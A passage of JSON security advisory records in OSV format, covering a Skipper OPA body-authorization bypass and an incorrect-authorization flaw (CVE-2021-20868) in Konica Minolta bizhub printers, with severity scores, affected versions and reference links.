      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.27.35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.27.37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/tree/v0.27.35"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-20868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-04T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization vulnerability in KONICA MINOLTA bizhub series (bizhub C750i G00-35 and earlier, bizhub C650i/C550i/C450i G00-B6 and earlier, bizhub C360i/C300i/C250i G00-B6 and earlier, bizhub 750i/650i/550i/450i G00-37 and earlier, bizhub 360i/300i G00-33 and earlier, bizhub C287i/C257i/C227i G00-19 and earlier, bizhub 306i/266i/246i/226i G00-B6 and earlier, bizhub C759/C659 GC7-X8 and earlier, bizhub C658/C558/C458 GC7-X8 and earlier, bizhub 958/808/758 GC7-X8 and earlier, bizhub 658e/558e/458e GC7-X8 and earlier, bizhub C287/C227 GC7-X8 and earlier, bizhub 287/227 GC7-X8 and earlier, bizhub 368e/308e GC7-X8 and earlier, bizhub C368/C308/C258 GC9-X4 and earlier, bizhub 558/458/368/308 GC9-X4 and earlier, bizhub C754e/C654e GDQ-M0 and earlier, bizhub 754e/654e GDQ-M0 and earlier, bizhub C554e/C454e GDQ-M1 and earlier, bizhub C364e/C284e/C224e GDQ-M1 and earlier, bizhub 554e/454e/364e/284e/224e GDQ-M1 and earlier, bizhub C754/C654 C554/C454 GR1-M0 and earlier, bizhub C364/C284/C224 GR1-M0 and earlier, bizhub 754/654 GR1-M0 and earlier, bizhub C4050i/C3350i/C4000i/C3300i G00-B6 and earlier, bizhub C3320i G00-B6 and earlier, bizhub 4750i/4050i G00-22 and earlier, bizhub 4700i G00-22 and earlier, bizhub C3851FS/C3851/C3351 GC9-X4 and earlier, and bizhub 4752/4052 GC9-X4 and earlier) allows an attacker on the adjacent network to obtain user credentials if external server authentication is enabled via a specific SOAP message sent by an administrative user.",
  "id": "GHSA-5grr-wg7c-8c88",
  "modified": "2022-01-14T00:03:14Z",
  "published": "2022-01-05T00:01:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20868"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU95192472/index.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/vu/JVNVU95192472/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.konicaminolta.com/global/newsroom/topics/2021/1224-01-01.html"
    },
    {
      "type": "WEB",
      "url": "https://www.konicaminolta.jp/business/support/important/211224_01_01.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}